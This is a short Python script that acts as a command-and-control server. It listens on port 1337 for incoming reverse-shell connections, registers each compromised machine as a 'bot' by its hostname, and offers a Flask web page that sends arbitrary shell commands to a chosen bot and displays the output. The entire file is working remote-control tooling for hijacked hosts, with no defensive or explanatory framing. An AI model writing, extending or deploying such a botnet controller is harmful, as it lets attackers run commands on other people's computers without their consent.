#!/usr/bin/env python3
from socket import SOCK_STREAM, AF_INET, socket
from flask import Flask, request, render_template
from threading import Thread
from enum import Enum


SOCKET = None
thread = None
app = Flask(__name__)
bots = {}


class Type(Enum):
    DUMB = 1


class Bot:
    typ = Type.DUMB

    def __init__(self, conn):
        self.conn = conn


@app.route('/')
def index():
    return render_template('index.j2', bots=bots.keys())


@app.route('/shell/<name>')
def shell(name):
    cmd = request.args.get('cmd')
    bot = bots.get(name)
    if cmd and bot:
        bot.conn.sendall(cmd.encode() + b'\n')
        res = bot.conn.recv(4096).decode()[:-2].replace('\n', '<br/>')
    else:
        res = 'balle'
        print('"{}"'.format(list(bots.keys())[0]))
    return render_template('shell.j2', name=name, res=res)


def listen():
    with socket(AF_INET, SOCK_STREAM) as sock:
        SOCKET = sock
        sock.bind(('0.0.0.0', 1337))
        sock.listen()
        while 'pwnd':
            conn, addr = sock.accept()
            match conn.recv(2):
                case b'$ ':
                    Thread(target=handle_dumb, args=(conn,)).start()
                case other:
                    print('Got invalid magic "' + other.decode() + '"')


def handle_dumb(conn):
    conn.sendall(b'hostname\n')
    hostname = conn.recv(255).split(b'\n')[0].decode().replace('\r', '')
    bots[hostname] = Bot(conn)


if not thread:
    thread = Thread(target=listen)
    thread.start()


if __name__ == '__main__':
    try:
        app.run()
    except KeyboardInterrupt:
        SOCKET.close()